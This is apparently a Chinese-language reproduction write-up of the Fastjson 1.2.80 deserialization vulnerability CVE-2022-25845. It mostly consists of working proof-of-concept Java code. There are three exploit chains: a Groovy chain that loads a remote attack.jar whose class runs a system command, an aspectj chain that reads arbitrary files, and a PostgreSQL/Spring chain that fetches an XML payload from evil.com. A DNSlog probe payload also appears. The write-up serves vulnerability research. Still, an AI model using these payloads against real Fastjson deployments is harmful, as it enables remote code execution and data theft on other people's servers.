Fastjson CVE-2022-25845 漏洞复现
1. 说明
Fastjson于5月23日,在commit 560782c与commit 097bff1中更新了security_update_20220523的修复方案。调整黑白名单的同时额外判断了Exception
,并在添加类缓存mappings前新增了autoTypeSupport
的判断。
显而易见Exception
的派生类中出了叛徒,不久后fastjson-blacklist更新了黑名单类名,直到前几天漏洞作者iSafeBlue公开了思路与Gadgets,本文是对浅蓝师傅给出的提示的进行复现与记录。
1.2.80第一步依然是基于众所周知的期望类机制将其它类加入类缓存,关键在于怎么横向出Exception
之外的其它类型。
Fastjson反序列化恢复类实例时,自然也需要恢复用到了的类属性。如果这个属性是可利用的类且我们可控,是不是就能直接利用 或者进一步横向扩展出其它类间接利用。上一篇我们说到了期望类不但可以由JSON显式指定,同样可以由类间关系隐式确定,那么依靠属性名赋值时的隐式类间关系,也就不再需要在JSON中显式指定@type
,从而绕过了autoType
的白名单检查。
实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断autoTypeSupport
,所以绕过了类白名单机制扩展出更多的可用类。
2. 利用流程
- 指定显式期望类,实例化
XXXException
并被加入类缓存 - 通过
XXXException
中可控的属性名/参数名,由隐式类间关系实例化并被加入类缓存 - 直接从缓存中拿出来用,或者进一步递归让其它类被加入到缓存
第二步的重点在于,既然不能显示指定期望类,就只能依靠deserializer
去自动处理,我们需要构造出让它解析时进到特定deserializer
分支的特定格式。对此我提供一个aspectj
读文件和groovy
远程类加载的具体实现便于师傅们理解复现。更多Gadgets浅蓝师傅在Slides中写得很清楚了,可以自行构造。
浅蓝师傅公开了几个利用方式,个人认为groovy 的这条链最为常见。
3. fastjson1.2.80版本相关的探索
相关的测试poc
{
"@type":"java.lang.Exception",
"@type":"com.alibaba.fastjson.JSONException",
"x":{
"@type":"java.net.InetSocketAddress"{"address":,"val":"7dok0ohg.dnslog.pw"}
}
}
4. 漏洞复现之Groovy链
- 漏洞原理
- 具体的利用poc 代码如下:
public class groovy {
private static String poc1 = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{}\n" +
"}";
private static String poc2 = "{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":\"http://127.0.0.1:8000/attack.jar\"\n" +
" }\n" +
"}";
public static void main(String[] args) throws IOException {
try {
JSON.parseObject(poc1);
} catch (Exception e){}
JSON.parseObject(poc2);
}
}
- 由于上述代码中需要使用到classpathList 这个,因此需要搭建一个恶意代码利用的服务器
先看下恶意执行的代码
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;
import java.io.IOException;
@GroovyASTTransformation(phase= CompilePhase.CONVERSION)
public class GrabAnnotationTransformation2 implements ASTTransformation {
public GrabAnnotationTransformation2() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
}
}
@Override
public void visit(ASTNode[] nodes, SourceUnit source) {
}
}
- 先编译上述代码中的恶意代码,打成jar包
- 利用python 启动一个简单http服务器
- 执行上述POC代码:
恶意代码执行成功。
5. 漏洞复现之--aspectj 文件读取
- 漏洞原理
调用链细节
- 可以利用的poc
public class aspectj {
private static String poc1 = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException\"\n" +
"}";
private static String poc2 = "{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":{\n" +
" \"@type\":\"java.lang.String\"{\n" +
" \"@type\":\"java.util.Locale\",\n" +
" \"val\":{\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",{\n" +
" \"@type\":\"java.lang.String\"\n" +
" \"@type\":\"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException\",\n" +
" \"newAnnotationProcessorUnits\":[{}]\n" +
" }\n" +
" }\n" +
" }";
private static String poc3 = "{\n" +
" \"x\":{\n" +
" \"@type\":\"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit\",\n" +
" \"@type\":\"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit\",\n" +
" \"fileName\":\"F:/flag.txt\"\n" +
" }\n" +
"}";
public static void main(String[] args) {
JSON.parseObject(poc1);
try {
JSON.parseObject(poc2);
} catch (Exception e){}
System.out.println(JSON.parseObject(poc3));
}
}
- 创建一个文件供读取
- RCE读取文件结果
- 回显
可以使用如下的dns回显的方式
6. 漏洞复现之--antlr
- 漏洞调用过程
- 可用的poc一次执行如下的poc String poc1 =" { \n" +
"\t\"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.python.antlr.ParseException\"\n" +
"}";
}
String poc2 = " { \n" +
"\t\"@type\":\"java.util.Locale\",\n" +
" \"val\":\n" +
"\t{\"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
"\t {\"@type\":\"java.lang.Sting\"\"@type\":\"org.python.antlr.ParseException\",\"type\":\"{\\\"@type\\\":\\\"com.ziclix.python.sql.PyConnection\\\",\\\"connection\\\":{\\\"@type\\\\\\\":\\\"org.postgresql.jdbc.PgConnection\"}}\"}\n" +
"\t }\n" +
"}";
String poc3 = "{\n" +
"\t\"@type\":\"org.postgresql.jdbc.PgConnection\",\n" +
"\t\"hostSpecs\":[{\"host\":\"jdbc_ip\",\"port\":jdbc_port}],\n" +
"\t\"user\":\"user\",\n" +
"\t\"database\":\"testdb\",\n" +
"\t\"info\":{\"socketFactory\":\"org.springframework.context.support.ClassPathXmlApplicationContext\",\"socketFactoryArg\":\"http://evil.com/evil.xml\"},\n" +
"\t\"url\":\"\"\n" +
"}";
evil.xml
需要替换成上图的形式。
参考
1、https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
2、参考代码路径:https://github.com/Lonely-night/fastjsonVul